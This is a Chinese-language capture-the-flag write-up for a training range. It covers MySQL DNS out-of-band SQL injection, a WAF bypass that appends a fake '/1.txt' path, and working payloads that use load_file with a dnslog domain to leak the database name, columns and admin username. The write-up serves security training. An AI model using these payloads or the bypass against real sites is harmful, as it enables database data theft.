封神台MYSQL 注入 - Dns注入

一、原理

DNSLOG的使用场景:

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据。

LOAD_FILE()读取文件的函数

读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

二、作业

MYSQL 注入 - Dns注入 (Rank: 20)

  1. 首先我们可以随便尝试下是否存在注入:?id=1 and 1=1
    发现被拦截
    封神台MYSQL 注入 - Dns注入_第1张图片

  2. 要想办法绕过防火墙,试下输入:http://59.63.200.79:8014/index3.php/1.txt?id=1 and 1=2
    如下图:发现能正常显示页面
    apache遇到不存在的看不懂的东西会往前去读取,而安全狗认为1.txt对他没有威胁那我们利用这点进行注入;
    封神台MYSQL 注入 - Dns注入_第2张图片

  3. 第一步在dnslog平台上获取一个域名;
    封神台MYSQL 注入 - Dns注入_第3张图片

  4. 利用 load_file函数读取文件内容
    试下获取库名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select database()),’.805pij.dnslog.cn/abc’)));
    如下图:库名为:mangzhu
    封神台MYSQL 注入 - Dns注入_第4张图片

  5. 字段名:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select column_name from information_schema.columns where table_schema=database() limit 0,1),’.805pij.dnslog.cn/abc’)));
    如下图:经过多次测试获取了id,username,password
    封神台MYSQL 注入 - Dns注入_第5张图片

  6. flag:59.63.200.79:8014/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select username from admin limit 0,1),’.805pij.dnslog.cn/abc’)));
    如下图:获取了1flag1good1
    封神台MYSQL 注入 - Dns注入_第6张图片

  7. 提交1flag1good1,完成。

你可能感兴趣的:(Web安全微专业)